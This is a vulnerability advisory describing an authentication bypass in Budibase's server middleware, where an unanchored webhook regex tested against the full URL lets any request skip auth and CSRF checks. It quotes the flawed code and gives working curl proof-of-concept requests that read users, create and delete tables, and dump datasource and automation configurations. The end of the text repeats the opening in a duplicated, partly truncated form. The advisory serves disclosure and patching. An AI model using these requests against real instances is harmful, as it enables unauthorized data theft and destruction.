Summary
The Budibase server's authorized() middleware that protects every server-side API endpoint can be completely bypassed by appending a webhook path pattern to the query string of any request. The isWebhookEndpoint() function uses an unanchored regex that tests against ctx.request.url, which in Koa includes the full URL with query parameters. When the regex matches, the authorized() middleware immediately calls return next(), skipping all authentication, authorization, role checks, and CSRF protection.
This means a completely unauthenticated, remote attacker can access any server-side API endpoint by simply appending ?/webhooks/trigger (or any webhook pattern variant) to the URL.
Affected Code:
- File: packages/server/src/middleware/utils.ts (Lines 3–14)
const WEBHOOK_ENDPOINTS = new RegExp(
["webhooks/trigger", "webhooks/schema", "webhooks/discord", "webhooks/ms-teams"].join("|")
)
export function isWebhookEndpoint(ctx: UserCtx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
// BUG: ctx.request.url includes query string
// BUG: regex is unanchored — matches anywhere in the URL
}
- File: packages/server/src/middleware/authorized.ts (Lines 84–96)
const authorized = (permType, permLevel, opts, resourcePath) =>
async (ctx: UserCtx, next: any) => {
if (isWebhookEndpoint(ctx) || ctx.internal) {
return next() // BYPASSES: auth check, role check, CSRF, builder middleware
}
// ... all security checks below are skipped ...
}
PoC
- Read all user data (unauthenticated):
curl -s -X POST "http://localhost:10000/api/ta_users/search?/webhooks/trigger" \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>" \
-d '{"query":{}}'
- Create a table (unauthenticated).Result: HTTP 200 — table hacked_table created successfully. Returned table ID and revision:
curl -s -X POST "http://localhost:10000/api/tables?/webhooks/trigger" \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>" \
-d '{"name":"hacked_table","schema":{}}'
- Delete a table (unauthenticated). Result: HTTP 200 — table deleted successfully:
curl -s -X DELETE \
"http://localhost:10000/api/tables/<TABLE_ID>/<TABLE_REV>?/webhooks/trigger" \
-H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>"
- List all data sources (unauthenticated), Result: HTTP 200 — full data source configurations returned:
curl -s "http://localhost:10000/api/datasources?/webhooks/trigger" \
-H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>"
- List all automations (unauthenticated). Result: HTTP 200 — all automation definitions returned:
curl -s "http://localhost:10000/api/automations?/webhooks/trigger" \
-H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>"
- Additional unauthenticated access confirmed:
- /api/roles?/webhooks/trigger
- /api/integrations?/webhooks/trigger
- /api/views?/webhooks/trigger
- /api/plugins?/webhooks/trigger
Baseline (without bypass): All above endpoints return HTTP 302 redirect to the login page.
Impact
- Complete authentication bypass on all server-side API endpoints
- Full CRUD access to all application data: tables, rows, automations, datasources, queries, views, plugins
- CSRF bypass: all CSRF protection is skipped
- Affects ALL self-hosted Budibase instances running this version
- Zero interaction required: no user clicks, no social engineering — pure network attack
Summary
The Budibase server's authorized() middleware that protects every server-side API endpoint can be completely bypassed by appending a webhook path pattern to the query string of any request. The isWebhookEndpoint() function uses an unanchored regex that tests against ctx.request.url, which in Koa includes the full URL with query parameters. When the regex matches, the authorized() middleware immediately calls return next(), skipping all authentication, authorization, role checks, and CSRF protection.
This means a completely unauthenticated, remote attacker can access any server-side API endpoint by simply appending
?/webhooks/trigger(or any webhook pattern variant) to the URL.Affected Code:
PoC
- /api/roles?/webhooks/trigger
- /api/integrations?/webhooks/trigger
- /api/views?/webhooks/trigger
- /api/plugins?/webhooks/trigger
Baseline (without bypass): All above endpoints return HTTP 302 redirect to the login page.
Impact